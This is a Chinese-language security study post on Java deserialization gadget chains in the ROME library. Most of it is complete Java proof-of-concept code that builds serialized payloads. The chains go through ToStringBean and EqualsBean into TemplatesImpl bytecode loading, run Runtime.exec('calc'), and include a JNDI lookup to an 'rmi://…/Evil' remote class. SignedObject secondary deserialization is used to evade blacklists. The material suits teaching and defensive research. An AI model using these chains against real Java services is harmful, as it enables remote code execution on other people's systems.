ROME反序列化

  1. ROME反序列化
    1. 简介
    2. 任意类加载
    3. EqualsBean
    4. ObjectBean
    5. HashTable
    6. BadAttributeValueExpException
    7. HotSwappableTargetSource
    8. JdbcRowSetImpl
    9. SignedObject
    10. 不依赖ToStringBean

ROME反序列化

前置知识TemplatesImpl任意类加载、JNDI注入

简介

ROME库支持将Java对象转换成xml数据,同时也支持将xml数据转换成Java对象。

环境依赖

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

ROME提供了toStringBean类,可以利用toString方法对Java Bean进行操作。而这里面的toString方法就是ROME反序列化漏洞调用链的关键之一。

任意类加载

toString当中能调用到任意的getter,而我们TemplatesImpl类的任意类加载正是利用了getOutputProperties()这一getter。

BeanIntrospector.getPropertyDescriptors之后会在下面循环调用获取到的getter方法进行反射调用,所以如果ToStringBean_beanClassTemplates的话,那么在获取getter的时候就可以获取到getOutputProperties方法来反射调用,从而触发TemplatesImpl类的任意类加载。

所以现在问题的关键就在于如何在反序列化的过程中调用ToStringBean.toString(),也就是说要找到一个可以从readObjecttoString的路径。

可以做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
ROMEtoStringTest.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;

public class ROMEtoStringTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
toStringBean.toString();
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}

shell.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class shell extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

EqualsBean

在ROME中有一个EqualsBean类,他从在这样一条调用链:hashCode–>beanHashCode–>_obj.toString(),这里的_objEqualsBean的一个可控的成员变量。那么到这里我们就可以联想到HashMap在反序列化的时候就会调用到hashCode,这里也就可以接上去了。

POC如下:

需要注意的是在序列化之前为了防止提前触发任意类加载,toStringBean_obj要在hashMap.put之后再通过反射进行赋值,因此这里new ToStringBean的时候会先把new ConstantTransformer(1)塞进去,需在再加一个依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.1</version>
</dependency>
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;
import java.util.HashMap;

public class EqualsBeanTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser1.bin");


}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

ObjectBean

这个类在他的hashCode()里面调用了_equalsBean.beanHashCode(),那么他其实就相当于EqualsBeanhashCode

​ 所以POC也只需要把EqualsBean的改一下就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser.bin");
}

HashTable

前面都是HashMaphashCode()入口来调用到Java Bean对象中的方法,从而导致后面的任意类加载,如果HashMap被禁用了之后,是否还有替代品呢?答案是有的,那就是HashTable。在HashTablereadObject中调用了reconstitutionPut来对每一个键值对进行处理:

而在reconstitutionPut中就对key调用了hashCode,那么这里就接上了,如果keyEqualsBeanObjectBean的话,那么整条链子也就能接上了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
// EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//这里用EqualsBean也是可以的
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put(objectBean,"123");
Hashtable<Object,Object> hashtable = new Hashtable<>();
hashtable.put(objectBean,"aaa");
setValue(toStringBean,"_obj",templates);
serialize(hashtable);
unserialize("ser.bin");
}

BadAttributeValueExpException

前面TostringBean中要调用toString是通过hashCode来进行调用的,其实说到toString会让人想起CC5的BadAttributeValueExpException

它在readObject的时候就会调用valObj.toStringvalObj其实就是可控对象成员val,把它的值设为toStringBean岂不就成了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("savedir\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,toStringBean);
setValue(toStringBean,"_obj",templates);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

HotSwappableTargetSource

整条链子会稍微复杂一点,前面是CC6的HashMap之后是接了一段XString再触发ToStringBeantoString。首先是XStringequals,如果对比的变量是Object类型的话就会调用以下函数:

我们可以看到只要obj2不是null,其类型不是XNodeSetXNumber的话,那么就会调用到obj2.toString,只要obj2ToStringBean的话就可以接上后面的链子。而equals函数的调用可以看到springframework的HotSwappableTargetSource

它的equal会调用成员变量targetequals方法。那么熟悉的就来了,HashMapreadObject会调用putVal从而触发equals,这样整条链子也就串起来了。

具体而言,HashMapputVal是一个添加元素函数,在把键值对放入HashMap的时候会检查待插入元素是不是已有的内容,所以就会比较hashkey是否相同,在这个时候就会拿table中p结点的key(在代码中为k)和要插入的key做比较,调用的是后者的equals函数,前者作为参数输入。套到HotSwappableTargetSourceequalsk对应的就是otherkey对应的就是this,在函数中this.target.equals(((HotSwappableTargetSource) other).target),其实就是key.target.equals(k.target),为了能够调用到前面XStrtingequals并触发任意类加载,那么k.target就必须得是ToStringBean类型,key.target就必须得是XString类型。那么带有ToStringBeanHotSwappableTargetSource对象实例应该先putHashMap中,随后在把带有XStringHotSwappableTargetSource对象实例put进去。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//import org.springframework.aop.target.HotSwappableTargetSource;

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,"h1");
hashMap.put(h2,"h2");
setValue(toStringBean,"_obj",templates);
serialize(hashMap);
unserialize("ser.bin");
}

JdbcRowSetImpl

由最开始我们知道,ToStringBean的问题就处在了toString函数中回去遍历反射调用获取到的getter,而众所周知除了TemplatesImpl的getter方法getOutputProperties会触发任意类加载外,还有JdbcRowSetImpl的getter方法getDatabaseMetaData会触发JNDI注入:

getDatabaseMetaData中调用的connect函数:

connect中就会触发InitialContextlookup,而dataSource是可控的,因此就可以通过RMI或者LDAP协议加载远程恶意类。

当然这个方法有一定的限制,那就是trustURLCodebase,目前有效的版本只有:

  • RMI:JDK 6u132JDK 7u122JDK 8u113之前
  • LDAP:JDK 7u2018u1916u211JDK 11.0.1之前

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//import com.sun.rowset.JdbcRowSetImpl;
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Evil");

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",jdbcRowSet);
serialize(hashMap);
unserialize("ser.bin");
}

当然,这一段也可以和前面其他的片段进行拼接。

SignedObject

由于ToStringBean.toString的getter循环获取及反射调用,导致可以去找能够到达sink的getter来进行利用,java.security.SignedObject就是第三个可以利用的点:

getObject中,调用了readObject,内容则是来自可控的成员变量content,那么再次就可以造成二次序列化,将序列化之后的字节数组放入content中,在反序列化过程中就会再将content中的内容拿出来反序列化一次,这样就可以绕过反序列化入口处的黑名单限制。

那么我们就来看看SignedObject的构造函数:

只需要把我们要二次序列化的对象塞进去就可以了,它会自动帮我们进行序列化并转为字节数组,需要注意的是后面两个参数也要塞东西防止出错导致构造失败。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.security.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;

import java.util.HashMap;

public class SignedObjectTest {
public static void main(String[] args) throws Exception {
//二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1,"123");
setValue(toStringBean1,"_obj",signedObject);
serialize(hashMap1);
unserialize("ser.bin");


}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException{
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

不依赖ToStringBean

可以看到,前面列出的诸多方法都是依赖于ToStringBeantoString方法对于getter的循环反射调用,那么如果可以有其他的类也存在这样的功能的话就可以代替它。这就不得不提到前面的EqualsBean了,它有一个beanEquals方法如下:

要求this._objobj的值不为null,而且_beanClass.isInstance(bean2)要为真,也就是bean2要属于_beanClass类或其子类,这是如果使用任意类加载的话就会出错,因为com.sun.org.apache.xalan.internal.xsltc.compiler.Templatecom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl显然不满足条件,这里也就只能用SignedObject的二次反序列化了。之后就可以走到循环获取getter并反射调用的逻辑了,this._obj可以通过构造函数或者反射来进行赋值,而obj是传进来的参数,往回查一下调用情况,发现EqualsBeanequals调用了它,obj也是参数直接传进来的:

说到equals又回到了我们熟悉的话题,首先考虑HashMap在反序列化的时候会调用putVal,在putVal中调用key.equals(k),按照HotSwappableTargetSource在构造方法最后就能调用到EqualsBeanbeanEquals,但是这时候obj的类型会是EquslsBean,无法进入到getter的逻辑:

所以考虑另外一条路:Hashtable,他在readObject的时候会调用reconstitutionPut

e是从tag中来的,如果tag为空时就会传入keyvalue。如果tag不为空,就会先判断(e.hash == hash) && e.key.equals(key),这里可以利用哈希碰撞绕过哈希判断,之后就会调用e.key.equals(key),而HashMap继承了AbstractMap,因此e.key.equals(key)就会调用到AbstractMapequals

equals中会调用value.equals(m.get(key)),如果valueEqualsBeanm.get(key)SignedObject,那么就可以触发二次反序列化了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
//第二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
SignedObject signedObject1 = makeSObj(null);
EqualsBean equalsBean1 = new EqualsBean(String.class,"1");

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put("yy",equalsBean1);
hashMap1.put("zZ",signedObject);
HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put("zZ",equalsBean1);
hashMap2.put("yy",signedObject);

Hashtable hashtable = new Hashtable<>();
hashtable.put(hashMap1,"a");
hashtable.put(hashMap2,"b");

setValue(equalsBean1,"_beanClass",SignedObject.class);
setValue(equalsBean1,"_obj",signedObject1);

serialize(hashtable);
unserialize("ser.bin");

}

实验代码及调用链路图:https://github.com/hututu2/Java-Study

参考链接:

https://goodapple.top/archives/1145

https://xz.aliyun.com/t/13104

https://xz.aliyun.com/t/12768


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com